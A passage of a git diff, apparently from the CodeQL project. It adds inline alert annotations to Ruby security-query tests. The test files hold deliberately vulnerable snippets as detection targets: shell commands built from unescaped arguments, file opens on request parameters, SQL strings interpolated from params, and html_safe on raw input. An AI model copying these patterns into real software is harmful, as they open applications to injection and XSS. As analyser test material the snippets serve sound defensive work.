-B.match?("^http://test.example.com") # NOT OK +B.match?("^http://test.example.com") # NOT OK # $ Alert diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref index dea02dce1538..077f367fe477 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/IncompleteUrlSubstringSanitization.ql +query: queries/security/cwe-020/IncompleteUrlSubstringSanitization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb index dc6d49de57af..11094f6ee0b0 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb @@ -1,23 +1,23 @@ def test (x) x.index("internal") != nil; # NOT OK, but not flagged x.index("localhost") != nil; # NOT OK, but not flagged - x.index("secure.com") != nil; # NOT OK - x.index("secure.net") != nil; # NOT OK - x.index(".secure.com") != nil; # NOT OK + x.index("secure.com") != nil; # NOT OK # $ Alert + x.index("secure.net") != nil; # NOT OK # $ Alert + x.index(".secure.com") != nil; # NOT OK # $ Alert x.index("sub.secure.") != nil; # NOT OK, but not flagged x.index(".sub.secure.") != nil; # NOT OK, but not flagged - x.index("secure.com") === nil; # NOT OK - x.index("secure.com") === 0; # NOT OK - x.index("secure.com") >= 0; # NOT OK + x.index("secure.com") === nil; # NOT OK # $ Alert + x.index("secure.com") === 0; # NOT OK # $ Alert + x.index("secure.com") >= 0; # NOT OK # $ Alert - x.start_with?("https://secure.com"); # NOT OK - x.end_with?("secure.com"); # NOT OK + x.start_with?("https://secure.com"); # NOT OK # $ Alert + x.end_with?("secure.com"); # NOT OK # $ Alert x.end_with?(".secure.com"); # OK x.start_with?("secure.com/"); # OK x.index("secure.com/") === 0; # OK - x.include?("secure.com"); # NOT OK + x.include?("secure.com"); # NOT OK # $ Alert x.index("#") != nil; # OK x.index(":") != nil; # OK @@ -29,9 +29,9 @@ def test (x) x.index("some/path") != nil; # OK x.index("/index.html") != nil; # OK x.index(":template:") != nil; # OK - x.index("https://secure.com") != nil; # NOT OK - x.index("https://secure.com:443") != nil; # NOT OK - x.index("https://secure.com/") != nil; # NOT OK + x.index("https://secure.com") != nil; # NOT OK # $ Alert + x.index("https://secure.com:443") != nil; # NOT OK # $ Alert + x.index("https://secure.com/") != nil; # NOT OK # $ Alert x.index(".cn") != nil; # NOT OK, but not flagged x.index(".jpg") != nil; # OK @@ -49,28 +49,28 @@ def test (x) x.index("tar.gz") + offset; # OK x.index("tar.gz") - offset; # OK - x.index("https://example.internal") != nil; # NOT OK + x.index("https://example.internal") != nil; # NOT OK # $ Alert x.index("https://") != nil; # OK - x.start_with?("https://example.internal"); # NOT OK - x.index('https://example.internal.org') != 0; # NOT OK - x.index('https://example.internal.org') === 0; # NOT OK - x.end_with?("internal.com"); # NOT OK + x.start_with?("https://example.internal"); # NOT OK # $ Alert + x.index('https://example.internal.org') != 0; # NOT OK # $ Alert + x.index('https://example.internal.org') === 0; # NOT OK # $ Alert + x.end_with?("internal.com"); # NOT OK # $ Alert x.start_with?("https://example.internal:80"); # OK - x.index("secure.com") != nil; # NOT OK - x.index("secure.com") === nil; # OK - !(x.index("secure.com") != nil); # OK - !x.include?("secure.com"); # OK + x.index("secure.com") != nil; # NOT OK # $ Alert + x.index("secure.com") === nil; # OK # $ Alert + !(x.index("secure.com") != nil); # OK # $ Alert + !x.include?("secure.com"); # OK # $ Alert - if !x.include?("secure.com") # NOT OK + if !x.include?("secure.com") # NOT OK # $ Alert else doSomeThingWithTrustedURL(x); end x.start_with?("https://secure.com/foo/bar"); # OK - a forward slash after the domain makes prefix checks safe. - x.index("https://secure.com/foo/bar") >= 0 # NOT OK - the url can be anywhere in the string. - x.index("https://secure.com") >= 0 # NOT OK - x.index("https://secure.com/foo/bar-baz") >= 0 # NOT OK - the url can be anywhere in the string. + x.index("https://secure.com/foo/bar") >= 0 # NOT OK - the url can be anywhere in the string. # $ Alert + x.index("https://secure.com") >= 0 # NOT OK # $ Alert + x.index("https://secure.com/foo/bar-baz") >= 0 # NOT OK - the url can be anywhere in the string. # $ Alert end diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref index 4b61fcc56d74..8de0d5036bb1 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/MissingFullAnchor.ql \ No newline at end of file +query: queries/security/cwe-020/MissingFullAnchor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb index c488990062ab..2ae1020e6d67 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb @@ -1,17 +1,17 @@ class Foobar - def foo1(name) - raise Blabity, 'Invalid thing' if name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK + def foo1(name) # $ Source + raise Blabity, 'Invalid thing' if name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK # $ Alert end - def foo2(name) - raise Blabity, 'Invalid thing' unless name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK + def foo2(name) # $ Source + raise Blabity, 'Invalid thing' unless name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK # $ Alert end def foo3(name) raise Blabity, 'Invalid thing' unless name !~ /\A[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*\z/ # OK end - def foo4(name) - raise Blabity, 'Invalid thing' unless not name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK + def foo4(name) # $ Source + raise Blabity, 'Invalid thing' unless not name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref index bd3ad563aec1..ffb6ae961f63 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/MissingRegExpAnchor.ql \ No newline at end of file +query: queries/security/cwe-020/MissingRegExpAnchor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb index 11410d7db1f4..ac2fd382934a 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb @@ -1,11 +1,11 @@ -/www\.example\.com/ # BAD +/www\.example\.com/ # BAD # $ Alert /^www\.example\.com$/ # BAD: uses end-of-line anchors rather than end-of-string anchors /\Awww\.example\.com\z/ # GOOD /foo\.bar/ # GOOD -/https?:\/\/good\.com/ # BAD -/^https?:\/\/good\.com/ # BAD: missing end-of-string anchor +/https?:\/\/good\.com/ # BAD # $ Alert +/^https?:\/\/good\.com/ # BAD: missing end-of-string anchor # $ Alert /(^https?:\/\/good1\.com)|(^https?:#good2\.com)/ # BAD: missing end-of-string anchor /bar/ # GOOD @@ -16,40 +16,40 @@ foo.sub!(/www\.example\.com/, "bar") # GOOD /^a|/ -/^a|b/ # BAD +/^a|b/ # BAD # $ Alert /a|^b/ /^a|^b/ -/^a|b|c/ # BAD +/^a|b|c/ # BAD # $ Alert /a|^b|c/ /a|b|^c/ /^a|^b|c/ /(^a)|b/ -/^a|(b)/ # BAD +/^a|(b)/ # BAD # $ Alert /^a|(^b)/ -/^(a)|(b)/ # BAD +/^(a)|(b)/ # BAD # $ Alert -/a|b$/ # BAD +/a|b$/ # BAD # $ Alert /a$|b/ /a$|b$/ -/a|b|c$/ # BAD +/a|b|c$/ # BAD # $ Alert /a|b$|c/ /a$|b|c/ /a|b$|c$/ /a|(b$)/ -/(a)|b$/ # BAD +/(a)|b$/ # BAD # $ Alert /(a$)|b$/ -/(a)|(b)$/ # BAD +/(a)|(b)$/ # BAD # $ Alert -/^good.com|better.com/ # BAD -/^good\.com|better\.com/ # BAD -/^good\\.com|better\\.com/ # BAD -/^good\\\.com|better\\\.com/ # BAD -/^good\\\\.com|better\\\\.com/ # BAD +/^good.com|better.com/ # BAD # $ Alert +/^good\.com|better\.com/ # BAD # $ Alert +/^good\\.com|better\\.com/ # BAD # $ Alert +/^good\\\.com|better\\\.com/ # BAD # $ Alert +/^good\\\\.com|better\\\\.com/ # BAD # $ Alert -/^foo|bar|baz$/ # BAD +/^foo|bar|baz$/ # BAD # $ Alert /^foo|%/ # OK REGEXP = /foo/ @@ -57,5 +57,5 @@ REGEXP.match "http://example.com" # GOOD: the url is the text not the regexp "http://example.com".match? REGEXP # GOOD: the url is the text not the regexp "http://example.com".match REGEXP # GOOD: the url is the text not the regexp -"some text".match? "http://example.com" # BAD -"some text".match "http://example.com" # BAD +"some text".match? "http://example.com" # BAD # $ Alert +"some text".match "http://example.com" # BAD # $ Alert diff --git a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref index f1d6eea73c2c..476daefd7f31 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/OverlyLargeRange.ql +query: queries/security/cwe-020/OverlyLargeRange.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb index ed6ffe21b14a..18aaf573afa0 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb @@ -1,8 +1,8 @@ -overlap1 = /^[0-93-5]$/ # NOT OK +overlap1 = /^[0-93-5]$/ # NOT OK # $ Alert -overlap2 = /[A-ZA-z]/ # NOT OK +overlap2 = /[A-ZA-z]/ # NOT OK # $ Alert -isEmpty = /^[z-a]$/ # NOT OK +isEmpty = /^[z-a]$/ # NOT OK # $ Alert isAscii = /^[\x00-\x7F]*$/ # OK @@ -12,22 +12,22 @@ NON_ALPHANUMERIC_REGEXP = /([^\#-~| |!])/ # OK -smallOverlap = /[0-9a-fA-f]/ # NOT OK +smallOverlap = /[0-9a-fA-f]/ # NOT OK # $ Alert -weirdRange = /[$-`]/ # NOT OK +weirdRange = /[$-`]/ # NOT OK # $ Alert -keywordOperator = /[!\~\*\/%+-<>\^|=&]/ # NOT OK +keywordOperator = /[!\~\*\/%+-<>\^|=&]/ # NOT OK # $ Alert -notYoutube = /youtu\.be\/[a-z1-9.-_]+/ # NOT OK +notYoutube = /youtu\.be\/[a-z1-9.-_]+/ # NOT OK # $ Alert -numberToLetter = /[7-F]/ # NOT OK +numberToLetter = /[7-F]/ # NOT OK # $ Alert -overlapsWithClass1 = /[0-9\d]/ # NOT OK +overlapsWithClass1 = /[0-9\d]/ # NOT OK # $ Alert -overlapsWithClass2 = /[\w,.-?:*+]/ # NOT OK +overlapsWithClass2 = /[\w,.-?:*+]/ # NOT OK # $ Alert escapes = /[\000-\037\047\134\177-\377]/n # OK - they are escapes nested = /[a-z&&[^a-c]]/ # OK -overlapsWithNothing = /[\w_%-.]/; \ No newline at end of file +overlapsWithNothing = /[\w_%-.]/; # $ Alert \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref index aea01648c788..b8b59265f26b 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref +++ b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref @@ -1 +1,2 @@ -queries/security/cwe-078/KernelOpen.ql \ No newline at end of file +query: queries/security/cwe-078/KernelOpen.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb index 412e2c50ead8..c5e3707ef39f 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb @@ -1,16 +1,16 @@ class UsersController < ActionController::Base def create - file = params[:file] - open(file) # BAD - IO.read(file) # BAD - IO.write(file) # BAD - IO.binread(file) # BAD - IO.binwrite(file) # BAD - IO.foreach(file) # BAD - IO.readlines(file) # BAD - URI.open(file) # BAD + file = params[:file] # $ Source + open(file) # BAD # $ Alert + IO.read(file) # BAD # $ Alert + IO.write(file) # BAD # $ Alert + IO.binread(file) # BAD # $ Alert + IO.binwrite(file) # BAD # $ Alert + IO.foreach(file) # BAD # $ Alert + IO.readlines(file) # BAD # $ Alert + URI.open(file) # BAD # $ Alert - IO.read(File.join(file, "")) # BAD - file as first argument to File.join + IO.read(File.join(file, "")) # BAD - file as first argument to File.join # $ Alert IO.read(File.join("", file)) # GOOD - file path is sanitised by guard File.open(file).read # GOOD @@ -23,6 +23,6 @@ def create IO.read(file) # GOOD - file path is sanitised by guard end - open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized + open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref index 0b23d9102b9a..7b559b55ae08 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref +++ b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref @@ -1 +1,2 @@ -queries/security/cwe-078/NonConstantKernelOpen.ql \ No newline at end of file +query: queries/security/cwe-078/NonConstantKernelOpen.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb index 6b8294fa1112..50d99c9b7843 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb @@ -4,18 +4,18 @@ class UsersController < ActionController::Base def create file = params[:file] - open(file) # BAD - IO.read(file) # BAD - IO.write(file) # BAD - IO.binread(file) # BAD - IO.binwrite(file) # BAD - IO.foreach(file) # BAD - IO.readlines(file) # BAD - URI.open(file) # BAD + open(file) # BAD # $ Alert + IO.read(file) # BAD # $ Alert + IO.write(file) # BAD # $ Alert + IO.binread(file) # BAD # $ Alert + IO.binwrite(file) # BAD # $ Alert + IO.foreach(file) # BAD # $ Alert + IO.readlines(file) # BAD # $ Alert + URI.open(file) # BAD # $ Alert File.open(file).read # GOOD - Kernel.open(file) # BAD + Kernel.open(file) # BAD # $ Alert File.open(file, "r") # GOOD @@ -25,7 +25,7 @@ def create Kernel.open("this is #{fine}") # GOOD - Kernel.open("#{this_is} bad") # BAD + Kernel.open("#{this_is} bad") # BAD # $ Alert open("| #{this_is_an_explicit_command} foo bar") # GOOD @@ -43,6 +43,6 @@ def create open.where(external: false) # GOOD - an open method is called withoout arguments - open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized + open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref index 99292da7663c..da9659dee163 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref @@ -1 +1,2 @@ -queries/security/cwe-078/UnsafeShellCommandConstruction.ql \ No newline at end of file +query: queries/security/cwe-078/UnsafeShellCommandConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb index 0a385f5f6bc0..0c7c1022da2c 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb @@ -1,6 +1,6 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK - everything assumed to be imported... + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK - everything assumed to be imported... # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb index 22eaa13bcc02..87846abd662e 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb @@ -1,6 +1,6 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb index 007dae343ffe..7ad8ee69d3d2 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb @@ -1,5 +1,5 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb index 487ca06ebd64..160e8c3f39c7 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb @@ -1,10 +1,10 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end - def foo2(x) - format = sprintf("cat %s", x) # NOT OK + def foo2(x) # $ Source + format = sprintf("cat %s", x) # NOT OK # $ Alert IO.popen(format, "w") end @@ -12,30 +12,30 @@ def fileRead1(path) File.read(path) # OK end - def my_exec(cmd, command, myCmd, myCommand, innocent_file_path) + def my_exec(cmd, command, myCmd, myCommand, innocent_file_path) # $ Source IO.popen("which #{cmd}", "w") # OK - the parameter is named `cmd`, so it's meant to be a command IO.popen("which #{command}", "w") # OK - the parameter is named `command`, so it's meant to be a command IO.popen("which #{myCmd}", "w") # OK - the parameter is named `myCmd`, so it's meant to be a command IO.popen("which #{myCommand}", "w") # OK - the parameter is named `myCommand`, so it's meant to be a command - IO.popen("which #{innocent_file_path}", "w") # NOT OK - the parameter is named `innocent_file_path`, so it's not meant to be a command + IO.popen("which #{innocent_file_path}", "w") # NOT OK - the parameter is named `innocent_file_path`, so it's not meant to be a command # $ Alert end - def escaped(file_path) + def escaped(file_path) # $ Source IO.popen("cat #{file_path.shellescape}", "w") # OK - the parameter is escaped - IO.popen("cat #{file_path}", "w") # NOT OK - the parameter is not escaped + IO.popen("cat #{file_path}", "w") # NOT OK - the parameter is not escaped # $ Alert end end require File.join(File.dirname(__FILE__), 'sub', 'other') class Foobar2 - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end - def id(x) - IO.popen("cat #{x}", "w") # NOT OK - the parameter is not a constant. + def id(x) # $ Source + IO.popen("cat #{x}", "w") # NOT OK - the parameter is not a constant. # $ Alert return x end @@ -44,27 +44,27 @@ def thisIsSafe() end # class methods - def self.foo(target) - IO.popen("cat #{target}", "w") # NOT OK + def self.foo(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end - def arrayJoin(x) - IO.popen(x.join(' '), "w") # NOT OK + def arrayJoin(x) # $ Source + IO.popen(x.join(' '), "w") # NOT OK # $ Alert - IO.popen(["foo", "bar", x].join(' '), "w") # NOT OK + IO.popen(["foo", "bar", x].join(' '), "w") # NOT OK # $ Alert end - def string_concat(x) - IO.popen("cat " + x, "w") # NOT OK + def string_concat(x) # $ Source + IO.popen("cat " + x, "w") # NOT OK # $ Alert end - def array_taint (x, y) + def array_taint (x, y) # $ Source arr = ["cat"] arr.push(x) - IO.popen(arr.join(' '), "w") # NOT OK + IO.popen(arr.join(' '), "w") # NOT OK # $ Alert arr2 = ["cat"] arr2 << y - IO.popen(arr.join(' '), "w") # NOT OK + IO.popen(arr.join(' '), "w") # NOT OK # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref index af140959abb2..9dd84b480077 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref @@ -1 +1 @@ -queries/security/cwe-079/ReflectedXSS.ql +query: queries/security/cwe-079/ReflectedXSS.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref index 78de28cb2823..545a771648f9 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref @@ -1 +1 @@ -queries/security/cwe-079/StoredXSS.ql \ No newline at end of file +query: queries/security/cwe-079/StoredXSS.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref index ae814bcc35c1..501577ea1b9a 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref @@ -1 +1,2 @@ -queries/security/cwe-079/UnsafeHtmlConstruction.ql \ No newline at end of file +query: queries/security/cwe-079/UnsafeHtmlConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb index 3f92d5938b1c..b2f36f375765 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb +++ b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb @@ -1,27 +1,27 @@ class Foobar - def create_user_description(name) - "

    #{name}

    ".html_safe # NOT OK - the parameter is not escaped + def create_user_description(name) # $ Source[rb/html-constructed-from-input] + "

    #{name}

    ".html_safe # NOT OK - the parameter is not escaped # $ Alert[rb/html-constructed-from-input] # escape "

    #{ERB::Util.html_escape(name)}

    ".html_safe # OK - the parameter is escaped end - def string_like_literal name + def string_like_literal name # $ Source[rb/html-constructed-from-input] h = <<-HTML -

    #{name}

    +

    #{name}

    # $ Alert[rb/html-constructed-from-input] HTML h.html_safe # NOT OK - the parameter is not escaped end - def sprintf_use name - sprintf("

    %s

    ", name).html_safe # NOT OK - the parameter is not escaped + def sprintf_use name # $ Source[rb/html-constructed-from-input] + sprintf("

    %s

    ", name).html_safe # NOT OK - the parameter is not escaped # $ Alert[rb/html-constructed-from-input] # escape sprintf("

    %s

    ", ERB::Util.html_escape(name)).html_safe # OK - the parameter is escaped end - def create_user_description2(name) - "

    #{name}

    ".html_safe # NOT OK - the value is not necessarily HTML safe + def create_user_description2(name) # $ Source[rb/html-constructed-from-input] + "

    #{name}

    ".html_safe # NOT OK - the value is not necessarily HTML safe # $ Alert[rb/html-constructed-from-input] if name.html_safe? "

    #{name}

    ".html_safe # OK - value is marked as being HTML safe diff --git a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb index 3a782e529d52..e811b51e8ae3 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb @@ -7,13 +7,13 @@ class User < ApplicationRecord def self.authenticate(name, pass) # BAD: possible untrusted input interpolated into SQL fragment - find(:first, :conditions => "name='#{name}' and pass='#{pass}'") + find(:first, :conditions => "name='#{name}' and pass='#{pass}'") # $ Alert # BAD: interpolation in array argument - find(:first, conditions: ["name='#{name}' and pass='#{pass}'"]) + find(:first, conditions: ["name='#{name}' and pass='#{pass}'"]) # $ Alert # GOOD: using SQL parameters find(:first, conditions: ["name = ? and pass = ?", name, pass]) # BAD: interpolation with flow - conds = "name=#{name}" + conds = "name=#{name}" # $ Alert find(:first, conditions: conds) end @@ -27,7 +27,7 @@ class Admin < User def self.delete_by(condition = nil) # BAD: `delete_by overrides an ActiveRecord method, but doesn't perform # any validation before passing its arguments on to another ActiveRecord method - destroy_by(condition) + destroy_by(condition) # $ Alert end end @@ -39,64 +39,64 @@ class FooController < ActionController::Base def some_request_handler # BAD: executes `SELECT AVG(#{params[:column]}) FROM "users"` # where `params[:column]` is unsanitized - User.calculate(:average, params[:column]) + User.calculate(:average, params[:column]) # $ Alert # BAD: executes `SELECT MAX(#{params[:column]}) FROM "users"` # where `params[:column]` is unsanitized - User.maximum(params[:column]) + User.maximum(params[:column]) # $ Alert # BAD: executes `DELETE FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized - User.delete_by("id = '#{params[:id]}'") + User.delete_by("id = '#{params[:id]}'") # $ Alert # BAD: executes `DELETE FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized # (in Rails < 4.0) - User.delete_all("id = '#{params[:id]}'") + User.delete_all("id = '#{params[:id]}'") # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized - User.destroy_by(["id = '#{params[:id]}'"]) + User.destroy_by(["id = '#{params[:id]}'"]) # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized # (in Rails < 4.0) - User.destroy_all(["id = '#{params[:id]}'"]) + User.destroy_all(["id = '#{params[:id]}'"]) # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE id BETWEEN '#{params[:min_id]}' AND 100000` # where `params[:min_id]` is unsanitized - User.where(<<-SQL, MAX_USER_ID) - id BETWEEN '#{params[:min_id]}' AND ? + User.where(<<-SQL, MAX_USER_ID) # $ Alert + id BETWEEN '#{params[:min_id]}' AND ? # $ Source SQL # BAD: chained method case # executes 